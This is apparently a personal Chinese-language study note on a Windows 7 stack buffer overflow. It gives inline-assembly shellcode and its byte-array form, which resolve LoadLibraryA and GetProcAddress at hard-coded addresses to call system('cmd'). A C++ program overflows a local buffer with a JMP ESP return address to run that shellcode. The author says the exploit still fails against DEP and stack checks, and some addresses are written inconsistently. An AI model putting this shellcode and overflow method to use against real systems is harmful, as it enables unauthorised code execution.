首先,我使用的是JMP ESP的跳转到shellcode,在本次开机的时候获得LoadLibraryA,GetProcAddress,当然在win7下kernel32.dll的地址是随机的,但一旦开机,就已经固
定,只是重启后变得不再相同,本次使用的是LoadLibraryA的地址是0x75a0dc55,getProcAddress的地址是:x75a0cc84h,我们需要获得的是system函数的地址,同时,
将"cmd"压入堆栈,获得一个cmd程序的使用权,shellcode如下
_asm{
mov eax,0x75a0dc55
push 0;
push 0x6c6c642e
push 0x30303172;'r100'
push 0x6376736d;'cvsm'
push esp;
call eax;LoadLibraryA
mov ecx,eax;
mov eax,75a0cc84h;
push 0;
push 6d65h
push 74737973h;
push esp;
push ecx;
call eax;
push 0;
push 0x646d63;
push esp;
call eax
}经过转换之后是:
#include <windows.h>
#include<iostream>
#include <stdio.h>
using namespace std;
//这里面LoadLibraryA的地址是0x75a0dc55,GetProcAddress的地址是75a0cc84h,少一句mov eax,0x75a0dc55
byte p[]={0xB8,0X55,0XDC,0XA0,0X75,0x6A,0x00,0x68,0x2E,0x64,0x6C,0x6C,0x68,0x72,0x31,0x30,0x30,0x68,0x6D,0x73,0x76,0x63,0x54,0xFF,0xD0,0x8B,0xC8,0xB8,0x84,0xCC,0xA0,0x75,
0x6A,0x00,0x68,0x65,0x6D,0x00,0x00,0x68,0x73,0x79,0x73,0x74,0x54,0x51,0xFF,0xD0,0x6A,0x00,0x68,0x63,0x6D,0x64,0x00,0x54,0xFF,0xD0};
int main()
{
char buf[16]={0};
memset(buf,0x90,20);//填充数据完成
//memset(buf+28,0x77330bbb,4);//写入JMP ESP的地址
memcpy(buf+28,"\xbb\x0b\x33\x77",4);
memcpy(buf+32,p,sizeof(p));
//每次执行完都有一个_RTC_CheckStackVar,函数对堆栈进行检测,另外还有DEP(数据执行保护,默认不执行数据段和堆栈段的数据)}
经过测试,压入堆栈的三个参数(没有实参)第一个参数是返回地址,第二个参数是ebp,第三个参数是:security_cookie,之后才是局部变量,本实例采用NRS模式,首先填
充NOP,绕过EBP和security_cookie,直接向ret 赋值(我们已知 JMP ESP是0x7733bbb)但是还有两个问题没有解决,一个是DEP,数据执行保护,默认情况下不允许执行堆栈
和数据段中的数据,该选项可以在连接器-高级中找到,第二个是在用户代码执行完毕之后有一个函数会检测堆栈,_RTC_CheckStackVar该函数到底执行了什么,暂时未知,
好了,突破了这两点,堆栈溢出就能成功,今天先写到这里了。